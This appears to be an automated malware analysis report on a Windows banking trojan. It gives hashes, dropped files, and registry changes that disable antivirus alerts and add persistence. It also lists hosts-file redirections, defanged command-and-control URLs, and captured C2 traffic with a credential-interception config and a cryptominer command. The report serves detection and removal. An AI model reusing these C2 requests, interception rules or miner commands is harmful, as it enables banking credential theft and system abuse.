Susp_Dropper (Kaspersky), Gen:Variant.Symmi.25089 (B) (Emsisoft), Gen:Variant.Symmi.25089 (AdAware), mzpefinder_pcap_file.YR, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a2c961cdfeee401ab86cacfc30c635d9
SHA1: 052afc6c5892552250bbedf594bdd3096fdcaa2f
SHA256: 8f71a71da67d0aa98115b6321eb6662925992a0ad153ab6cae10679c71d61cda
SSDeep: 24576:werCHfOzbRrOvhSa21HIipycSj8nUF7eYwjzbH0:hrvspSa8HIoyX9BwjzY
Size: 804864 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Windows
Created at: 2014-02-12 19:46:30
Analyzed on: WindowsXP SP3 32-bit
Summary: Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
r3uo4fe6swuxb.exe:3140
gaumoefy7ic7km0c.exe:3704
gaumoefy7v7bkm0c.exe:3952
r3uo4fe6k0jxbf9xzwtt.exe:2740
%original file name%.exe:1072
wuauclt.exe:1876
mifnhxlktoj.exe:3920
mifnhxlktoj.exe:4552
mifnhxlktoj.exe:884
nxjupqomtrc.exe:5736
nxjupqomtrc.exe:5104
r3uo4fe75uzxb.exe:4436
r3uo4fe6x4rxb.exe:2304
gaumoefy7al4km0c.exe:3436
r3uo4fe6l5rxb.exe:2852
The Trojan injects its code into the following process(es):No processes have been created.
File activity
The process r3uo4fe6swuxb.exe:3140 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
The process gaumoefy7ic7km0c.exe:3704 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
The process r3uo4fe6k0jxbf9xzwtt.exe:2740 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\mifnhxlktoj.exe (5873 bytes)
%System%\ajbgsktanfne\tst (10 bytes)
%System%\ajbgsktanfne\etc (10 bytes)
%System%\drivers\etc\hosts (22 bytes)
The Trojan deletes the following file(s):
%System%\drivers\etc\hosts (0 bytes)
The process %original file name%.exe:1072 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\r3uo4fe6k0jxbf9xzwtt.exe (3877 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\r3uo4fe6k0jxbf9xzwtt.exe (0 bytes)
The process wuauclt.exe:1876 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.chk (100 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.log (2016 bytes)
%WinDir%\SoftwareDistribution\DataStore\DataStore.edb (100 bytes)
The Trojan deletes the following file(s):
%WinDir%\SoftwareDistribution\DataStore\Logs\tmp.edb (0 bytes)
The process mifnhxlktoj.exe:3920 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\rng (48 bytes)
%WinDir%\Temp\r3uo4fe75uzxb.exe (35 bytes)
%System%\ajbgsktanfne\run (10 bytes)
%WinDir%\Temp\r3uo4fe6l5rxb.exe (35 bytes)
%WinDir%\Temp\r3uo4fe6x4rxb.exe (26431 bytes)
%System%\nxjupqomtrc.exe (5873 bytes)
%System%\ajbgsktanfne\tst (10 bytes)
%System%\ajbgsktanfne\cfg (110 bytes)
%WinDir%\Temp\r3uo4fe6swuxb.exe (5873 bytes)
The Trojan deletes the following file(s):
%WinDir%\Temp\r3uo4fe6swuxb.exe (0 bytes)
%WinDir%\Temp\r3uo4fe6l5rxb.exe (0 bytes)
%WinDir%\Temp\r3uo4fe6x4rxb.exe (0 bytes)
The process mifnhxlktoj.exe:4552 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Temp\gaumoefy7ic7km0c.exe (7547 bytes)
%System%\ajbgsktanfne\rng (64 bytes)
%WinDir%\Temp\gaumoefy7al4km0c.exe (35 bytes)
%System%\ajbgsktanfne\ihst (224 bytes)
%System%\ajbgsktanfne\run (10 bytes)
%WinDir%\Temp\gaumoefy7v7bkm0c.exe (35 bytes)
%System%\nxjupqomtrc.exe (7547 bytes)
%System%\ajbgsktanfne\tst (10 bytes)
%System%\ajbgsktanfne\cfg (394 bytes)
%System%\drivers\etc\hosts (904 bytes)
%System%\ajbgsktanfne\por (1 bytes)
The Trojan deletes the following file(s):
%WinDir%\Temp\gaumoefy7al4km0c.exe (0 bytes)
%WinDir%\Temp\gaumoefy7ic7km0c.exe (0 bytes)
%WinDir%\Temp\gaumoefy7v7bkm0c.exe (0 bytes)
The process mifnhxlktoj.exe:884 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
The process nxjupqomtrc.exe:5736 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
The process nxjupqomtrc.exe:5104 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
The process r3uo4fe6x4rxb.exe:2304 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%System%\ajbgsktanfne\tst (10 bytes)
%System%\mifnhxlktoj.exe (7547 bytes)
The Trojan deletes the following file(s):
%System%\mifnhxlktoj.exe (0 bytes)
Registry activity
The process r3uo4fe6swuxb.exe:3140 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 BA 66 ED 2C 29 2E 4E 45 2A 55 11 71 7E B8 55"
The process gaumoefy7ic7km0c.exe:3704 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 EF B5 8B 5B 11 72 EC 86 1F 45 2E EF 78 FA 67"
The process gaumoefy7v7bkm0c.exe:3952 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC C1 10 C6 45 4D 54 68 84 90 FC 90 6F FD 0B 30"
The process r3uo4fe6k0jxbf9xzwtt.exe:2740 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D5 6B F9 CE AA 98 C8 32 27 92 A3 52 FE C9 A9 08"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Office Net.Tcp DNS Input Card" = "%System%\mifnhxlktoj.exe"
The process mifnhxlktoj.exe:3920 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0B BD 66 D1 BF 93 95 FD 02 E9 81 1E 57 0C 1E 82"
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"
The process mifnhxlktoj.exe:4552 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"
"Cookies" = "%Documents and Settings%\LocalService\Cookies"
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 04 E8 8A E7 0F 2E 7D 2A DB A8 45 A4 4D EF 9E"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"
Proxy settings are disabled:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"
The Trojan deletes the following value(s) in system registry:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"
The process r3uo4fe75uzxb.exe:4436 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 FB EB D6 06 7B A5 C9 FF 37 AD 0B C1 16 61 47"
The process gaumoefy7al4km0c.exe:3436 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "50 1B A3 93 B1 ED DF F4 D2 E8 A7 F2 EA 13 52 04"
The process r3uo4fe6l5rxb.exe:2852 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "86 D9 9D 73 4E A2 89 42 20 AA 83 10 4E E2 67 85"
Dropped PE files
MD5 | File path |
---|---|
1b78b4c8a84be54e8250a04ef6cec521 | c:\WINDOWS\Temp\gaumoefy7ic7km0c.exe |
1b78b4c8a84be54e8250a04ef6cec521 | c:\WINDOWS\Temp\r3uo4fe6x4rxb.exe |
476f447617f65eebf35c52d4fd3b3188 | c:\WINDOWS\Temp\r3uo4fe75uzxb.exe |
1b78b4c8a84be54e8250a04ef6cec521 | c:\WINDOWS\system32\mifnhxlktoj.exe |
1b78b4c8a84be54e8250a04ef6cec521 | c:\WINDOWS\system32\nxjupqomtrc.exe |
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 804 bytes in size. The following strings are added to the hosts file listed below:
127.0.0.1 | www.facebook.com |
127.0.0.1 | facebook.com |
127.0.0.1 | mail.yahoo.com |
127.0.0.1 | my.ebay.com |
127.0.0.1 | cgi.ebay.com |
127.0.0.1 | offer.ebay.com |
127.0.0.1 | feedback.ebay.com |
127.0.0.1 | motors.search.ebay.com |
127.0.0.1 | search.ebay.com |
127.0.0.1 | pages.ebay.com |
127.0.0.1 | pages.motors.ebay.com |
127.0.0.1 | myworld.ebay.com |
127.0.0.1 | motors.listings.ebay.com |
127.0.0.1 | cgi1.ebay.com |
127.0.0.1 | contact.ebay.com |
127.0.0.1 | srx.ebaymotors.ebayrtm.com |
127.0.0.1 | motors.shop.ebay.com |
127.0.0.1 | forums.ebay.com |
127.0.0.1 | answercenter.ebay.com |
127.0.0.1 | shop.ebay.com |
127.0.0.1 | ocs.ebay.com |
127.0.0.1 | cschatlb-na.corp.ebay.com |
127.0.0.1 | cschat1-na.corp.ebay.com |
127.0.0.1 | cschat.ebay.com |
127.0.0.1 | helpdesk.corp.ebay.com |
127.0.0.1 | qu.corp.ebay.com |
127.0.0.1 | www.ebay.com |
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
r3uo4fe6swuxb.exe:3140
gaumoefy7ic7km0c.exe:3704
gaumoefy7v7bkm0c.exe:3952
r3uo4fe6k0jxbf9xzwtt.exe:2740
%original file name%.exe:1072
wuauclt.exe:1876
mifnhxlktoj.exe:3920
mifnhxlktoj.exe:4552
mifnhxlktoj.exe:884
nxjupqomtrc.exe:5736
nxjupqomtrc.exe:5104
r3uo4fe75uzxb.exe:4436
r3uo4fe6x4rxb.exe:2304
gaumoefy7al4km0c.exe:3436
r3uo4fe6l5rxb.exe:2852 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%System%\ajbgsktanfne\tst (10 bytes)
%System%\mifnhxlktoj.exe (5873 bytes)
%System%\ajbgsktanfne\etc (10 bytes)
%System%\drivers\etc\hosts (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\r3uo4fe6k0jxbf9xzwtt.exe (3877 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.chk (100 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.log (2016 bytes)
%WinDir%\SoftwareDistribution\DataStore\DataStore.edb (100 bytes)
%System%\ajbgsktanfne\rng (48 bytes)
%WinDir%\Temp\r3uo4fe75uzxb.exe (35 bytes)
%System%\ajbgsktanfne\run (10 bytes)
%WinDir%\Temp\r3uo4fe6l5rxb.exe (35 bytes)
%WinDir%\Temp\r3uo4fe6x4rxb.exe (26431 bytes)
%System%\nxjupqomtrc.exe (5873 bytes)
%System%\ajbgsktanfne\cfg (110 bytes)
%WinDir%\Temp\r3uo4fe6swuxb.exe (5873 bytes)
%WinDir%\Temp\gaumoefy7ic7km0c.exe (7547 bytes)
%WinDir%\Temp\gaumoefy7al4km0c.exe (35 bytes)
%System%\ajbgsktanfne\ihst (224 bytes)
%WinDir%\Temp\gaumoefy7v7bkm0c.exe (35 bytes)
%System%\ajbgsktanfne\por (1 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Office Net.Tcp DNS Input Card" = "%System%\mifnhxlktoj.exe" - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 627430 | 627712 | 4.7173 | 0b575d4a94f2cfc2a14218265220f64c |
.rdata | 634880 | 51724 | 52224 | 3.6751 | 8ee3b23b0d9f785442698aee086eb712 |
.data | 688128 | 157724 | 123904 | 5.49937 | da2ef8a0993b8de90ebcaee15eaddd64 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://donaven4guia.com/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 216.239.138.217 |
hxxp://fredesecas.com/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 216.239.139.20 |
hxxp://laloponea.com/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 216.239.138.68 |
hxxp://davedekilai.com/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 66.147.244.161 |
hxxp://tablefruit.net/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 98.139.135.198 |
hxxp://wifeyesterday.net/forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 | 216.239.139.88 |
hxxp://wifeyesterday.net/forum/search.php?method=all&flag&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 216.239.139.88 |
hxxp://wifeyesterday.net/forum/search.php?method=update&noxor&exe=mifnhxlktoj.exe®=Office Net.Tcp DNS Input Card&svc=Distributed Brightness Video Defender&wname=nxjupqomtrc.exe&dir=ajbgsktanfne&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 216.239.139.88 |
hxxp://wifeyesterday.net/forum/search.php?method=checkport&port=32310&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 216.239.139.88 |
hxxp://donaven4guia.com/index.php?method=validate&mode=sox&v=029&sox=3c2d4800 | 216.239.138.217 |
hxxp://fredesecas.com/index.php?method=validate&mode=sox&v=029&sox=3c2d4800 | 216.239.139.20 |
hxxp://laloponea.com/index.php?method=validate&mode=sox&v=029&sox=3c2d4800 | 216.239.138.68 |
hxxp://davedekilai.com/index.php?method=validate&mode=sox&v=029&sox=3c2d4800 | 66.147.244.161 |
hxxp://tablefruit.net/index.php?method=validate&mode=sox&v=029&sox=3c2d4800 | 98.139.135.198 |
hxxp://tablefruit.net/index.php?method=all&flag&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 98.139.135.198 |
hxxp://tablefruit.net/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 98.139.135.198 |
hxxp://tablefruit.net/index.php?method=hostname&host=www.facebook.com&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 | 98.139.135.198 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /index.php?method=validate&mode=sox&v=029&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: donaven4guia.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:36 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: wifeyesterday.net
HTTP/1.1 200 OK
Date: Sat, 10 May 2014 19:11:10 GMT
Server: Apache/2
Connection: close
Content-Type: text/html
304. GoS........wifeyesterday.net..........M....D..w.x.5w. H..zY..R....q.Yu..-S....8_..y..|.:../....d.YuC..>&.....[.._...T...\.~.@qy..yD...8...2.u9..J..~j..cS.t...".|..H..r..k..J.8..(/%.t!.../q.KYO....{.t..MIW.m.......C.#f....yu...~........."G...bS4..9..V....}w....u....Mf....K....rey..4;......%..z.D.P&.:\..,..vt.. ...o.e.2........u.}...J..l.3.M.33g?...W..m.f......s....rs..N...WJY.......ML/5....B.....A.M.v...=.E.[..@........D@.i..1 .(.-."_.dJ..mr......Y..?..rW.......O....cW0....6wAIBI..f......YG9...|.7y.....d.(Zbm....".V..o..d.....*.k...Q...aT.....~....w.0....?r....5....I.sjq..Em.....-....x|M.,.:<v..p...~r.).m|;o......z:-..f......t/.A...(.?......w....6mN.....r.I.]..Ay..#...E..~.,-........}.8..Y.I...T....4.T\..E.....M....$...F.~....x,}57..=Pnlc~.ha..i..!.e.R.P.SO...Bt.1H.D.Z..kROR.u.... /..b|..2h"E4......8...(.......w.\..{.%E6.9.U.|-...]....K..5..w...\]....wqD.....i..1...]c$.....>#...o.R.,j..,4.v.c...Y....2e.....@.b..E....f.`)&....E.........b9gR<.^.P7...2L.....n...K.1&.,.....@Q..Fh.... $..7.........U..../........L...<.Fv..-{.y...0.a=g...C..v&:......z...z~.._....IM. ...i.C.@.F.....2x..$.n.Y..o6..B......P.M-R...;..@9T.b.#.uY.S...qQ...30*r.M............&..>-.<.TV.d2.".$......C:. =.I..$.&.Z|...PrH.D..=...=......0d.....X.\...[* ...
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: fredesecas.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:04 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /forum/search.php?method=checkport&port=32310&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: wifeyesterday.net
HTTP/1.1 200 OK
Date: Sat, 10 May 2014 19:11:14 GMT
Server: Apache/2
Content-Length: 0
Connection: close
Content-Type: text/html
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: laloponea.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:05 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /forum/search.php?method=all&flag&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: wifeyesterday.net
HTTP/1.1 200 OK
Date: Sat, 10 May 2014 19:11:10 GMT
Server: Apache/2
Connection: close
Content-Type: text/html
ping.12.FLAG UPDATE cfg.269."frontride.net" "glasshealth.net" "uponloud.net" "spendmarry.net" "wrongthrew.net" "mightglossary.net" "throughcountry.net" "rememberpaint.net" "tablefruit.net" "necessarydress.net" "gentlefriend.net" "wifeknew.net" "littleappear.net" "udagdarta.com" "lasopeidres.com" var_user_ip.613.%kill_jhminer% = "1";.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=77a098b4d1da87f63bf02d604284ec13&talk=1";.ëaylive% = "partyorderly.net";.%set_intercepts% = ""VVV.facebook.com" "partyorderly.net" "/fb_login/" "/login/" "1" "facebook.com" "partyorderly.net" "/fb_login/" "/login/" "0" "mail.yahoo.com" "partyorderly.net" "/yahoo/" "/config/" "0" ";.Þp_host% = "partyorderly.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "480";.%cpuinfo% = " Intel(R) Xeon(R) CPU E3-1245 V2 @ 3.40GHz (3386 MHz)";.%state% = "EN";.%newport% = "34199";.plugin.55070.miner_forced.80.win32drkclient.exe -a X11 -o stratum tcp://"%local server IP%":3388 -u 3c2d4800 -p x.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........lg...4...4...4.?y4...4...4...49..4...4...4...4...4...4...4...4...4...4Rich...4................PE..L.....\S.....................N....................@.............................................................................(.......................................................................@...............(............................text...H....................
<<
<<< skipped >>>
GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: tablefruit.net
HTTP/1.0 200 OK
Date: Sat, 10 May 2014 19:11:40 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: YTS/1.20.28
.............
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: tablefruit.net
HTTP/1.0 502 Cannot find server.
Date: Sat, 10 May 2014 19:11:06 GMT
Server: YTS/1.20.28
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 2477
<HEAD><TITLE>Cannot find server.</TITLE></HEAD>.<BODY BGCOLOR="white" FGCOLOR="black">.<FONT FACE="Helvetica,Arial"><B>. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><style>a:link {font:8pt/11pt verdana; color:red}a:visited {font:8pt/11pt verdana; color:#4e4e4e}</style><meta HTTP-EQUIV="Content-Type" Content="text-html; charset=Windows-1252"><title>Cannot find server</title></head><body bgcolor="white"><table width="400" cellpadding="3" cellspacing="5"><tr><td id="tableProps2" align="left" valign="middle" width="360"><h1 id="textSection1"style="COLOR: black; FONT: 13pt/15pt verdana"><span id="errorText">The page cannot be displayed</span></h1></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font style="COLOR: black; FONT: 8pt/11pt verdana">The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.</font></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font id="LID1"style="COLOR: black; FONT: 8pt/11pt verdana"><hr color="#C0C0C0" noshade><p id="LID2">Please try the following:</p><ul><li id="instructionsText1">Click the Refresh button, or try again later.</li><li id="instructionsText2"> If you typed the page addr
<<
<<< skipped >>>
GET /index.php?method=validate&mode=sox&v=029&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: tablefruit.net
HTTP/1.0 200 OK
Date: Sat, 10 May 2014 19:11:39 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: YTS/1.20.28
304..,qS........tablefruit.net..........6.kO.....W[..f.3. ..Q....!...[.6......-G..4"!..o.C<........ `.....AF...QK:.fq..Y...rP<...L.......n.......;.FX.......#.....x...B..%............].!#.S..... d..p&..... $.O$.....g.......XQ.............\..Brz`...BL_oZ.>...M........g.=.>..:.Rc6.../..J........$.!...G?...V.:..........ep.......cd]..X..-..-.-i..^:...."..2{s.7a?JMK.;H..C"...L..A-...._.....p..6...z2(..!J?*#..Y.$.. ..r.m.....^..n"..R...#....."......c8].c....4..V>.fI.LY.h.3....j..Lh....i8N..i...?........c.=...........K...."V.\mHD..&X2....OxYR..@Rs4K....cP....w........;.r.(<.H.....c.T...0.#:LH...0.....I.RZ.;...RE...N..L..5..........Q...A.v.....eY...d..)D.p.'.;.$5.QY..]`.Z.b..>...p.Y..X.....%.X.U.Lr..;...z.qA|o.Hd....p......|M.e.N....A.\..Cb}2."caZZ.....5....X.S..pmo...t....v.S.%<f...@.A....~..x....?......,...e[A....Z.)...3.......1..O .sy*.#...H.........D.N..U.5....,sm\b..e.oJJ...=*VM9kUUEi.~..:....'#w...>N....Q.l6..{..u.ep.....M6.-......yhg.......ayW....7....9].._:...|....V...W.9. ......w)F....\....K..@f.,...}....,5..8.....y.@$.9)...].{S.....S..x...I^...Q.g....!.M."...*u.......f..I...yV}n.E.D..La..aU"Fi ...y.9...*...C..3.......J..b.x.P.)T..............d.q."..|..s...]..P..D?..$.,'.y.....K".....6#..W..J.0>Ud.:...
<<
<<< skipped >>>
GET /index.php?method=validate&mode=sox&v=029&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: laloponea.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:37 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /index.php?method=hostname&host=VVV.facebook.com&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: tablefruit.net
HTTP/1.0 200 OK
Date: Sat, 10 May 2014 19:11:40 GMT
